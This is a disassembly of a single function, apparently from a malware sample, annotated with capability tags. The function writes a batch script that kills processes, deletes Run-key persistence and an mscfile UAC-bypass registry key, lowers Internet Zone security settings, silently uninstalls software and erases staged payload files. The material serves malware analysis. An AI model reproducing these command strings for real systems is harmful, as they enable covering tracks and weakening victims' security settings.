Function at 0x40b503
Capabilities:
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
push 0x18
mov eax, 0x47790b
call fcn.00469de8
mov edi, ecx
mov ebx, 0x487b83
push ebx
lea ecx, [ebp - 0x14]
call fcn.00401668
and dword [ebp - 4], 0
push ebx
lea ecx, [ebp - 0x18]
call fcn.00401668
push 0x32
mov byte [ebp - 4], 1
call fcn.004208ba
pop ecx
push ebx
lea ecx, [ebp - 0x10]
mov esi, eax
call fcn.00401668
mov byte [ebp - 4], 2
xor ebx, ebx
mov ecx, edi
mov dword [ebp - 0x24], ebx
call fcn.0040b267
push esi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push esi
lea ecx, [ebp - 0x18]
call fcn.00401712
push str.del.bat
mov edx, edi
lea ecx, [ebp - 0x1c]
call fcn.00401e69
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00401dc6
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str._echo_off_n
lea ecx, [ebp - 0x10]
call fcn.00401712
push str.SETLOCAL_EnableExtensions_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
lea eax, [edi + 4]
push eax
mov edx, str.set_P1
lea ecx, [ebp - 0x20]
call fcn.00402fa9
mov byte [ebp - 4], 4
mov edx, eax
lea ecx, [ebp - 0x1c]
mov dword [esp], 0x489660
call fcn.00401e69
pop ecx
mov byte [ebp - 4], 5
mov eax, dword [eax]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
push eax
call fcn.0040baf8
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.set_P2KeyCrypt.scr_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.set_P3bills.scr_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
lea eax, [edi + 8]
push eax
mov edx, str.set_P4
lea ecx, [ebp - 0x1c]
call fcn.00402fa9
mov byte [ebp - 4], 6
mov edx, eax
lea ecx, [ebp - 0x20]
mov dword [esp], str._excel.exe_n
call fcn.00401e69
pop ecx
mov byte [ebp - 4], 7
mov eax, dword [eax]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
push eax
call fcn.0040baf8
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.:PROCESS_CHECK_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.FOR__F___x_IN__tasklist__NH__FI__IMAGENAME_eq__P1____DO_IF___x___P1__goto_END_P1_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.FOR__F___x_IN__tasklist__NH__FI__IMAGENAME_eq__P2____DO_IF___x___P2__goto_END_P2_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.FOR__F___x_IN__tasklist__NH__FI__IMAGENAME_eq__P3____DO_IF___x___P3__goto_END_P3_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.FOR__F___x_IN__tasklist__NH__FI__IMAGENAME_eq__P4____DO_IF___x___P4__goto_END_P4_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.:DEL_FILE_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.timeout__t_1__nobreak___NUL_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.reg_delete__HKCUSoftwareMicrosoftWindowsCurrentVersionRun___v__fsecDrill___f_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.reg_delete__HKCUSoftwareClassesmscfile_shellopencommand___v_____f_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.reg_delete__HKCUSoftwareMicrosoftInternet_ExplorerMain___v__NoProtectedModeBanner___f_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3___v__2500___t_REG_DWORD__d__0___f_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3___v__1806___t_REG_DWORD__d__1___f_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.del__f__q__temp_ImageFile.png_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.del__f__q__temp_enc_ImageFile.png.dat_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.del__f__q_C:UsersPublic_seckey_x64_sha256.exe_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.del__f__q_C:UsersPublic_fsi.exe_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
lea eax, [ebp - 0x18]
push eax
mov edx, str.del__f__q__
lea ecx, [ebp - 0x1c]
call fcn.00402fa9
mov byte [ebp - 4], 8
mov edx, eax
lea ecx, [ebp - 0x20]
mov dword [esp], str.Infested.png_n
call fcn.00401e69
pop ecx
mov byte [ebp - 4], 9
mov eax, dword [eax]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
push eax
call fcn.0040baf8
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.msiexec__x_6734F7EB_FB9F_4E32_AFBA_5AB70855B7D1__quiet_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
mov esi, str.rmdir__S__Q__C:UsersPublic_fsi_n
push esi
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push esi
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push edi
mov edx, str.rmdir__S__Q__
lea ecx, [ebp - 0x1c]
call fcn.00402fa9
mov byte [ebp - 4], 0xa
mov edx, eax
lea ecx, [ebp - 0x20]
mov dword [esp], 0x489b5c
call fcn.00401e69
pop ecx
mov byte [ebp - 4], 0xb
mov eax, dword [eax]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
push eax
call fcn.0040baf8
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.exit_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.:END_P1_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.taskkill__F__IM__P1__n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
mov esi, str.goto_PROCESS_CHECK_n
push esi
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.:END_P2_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.taskkill__F__IM__P2__n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push esi
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.:END_P3_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.taskkill__F__IM__P3__n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push esi
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.:END_P4_n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push str.taskkill__F__IM__P4__n
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push esi
lea ecx, [ebp - 0x10]
call fcn.0040bac7
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x10]
push ebx
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push dword [ecx - 0xc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call fcn.004208c3
pop ecx
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401253
xor eax, eax
call fcn.00469db6
ret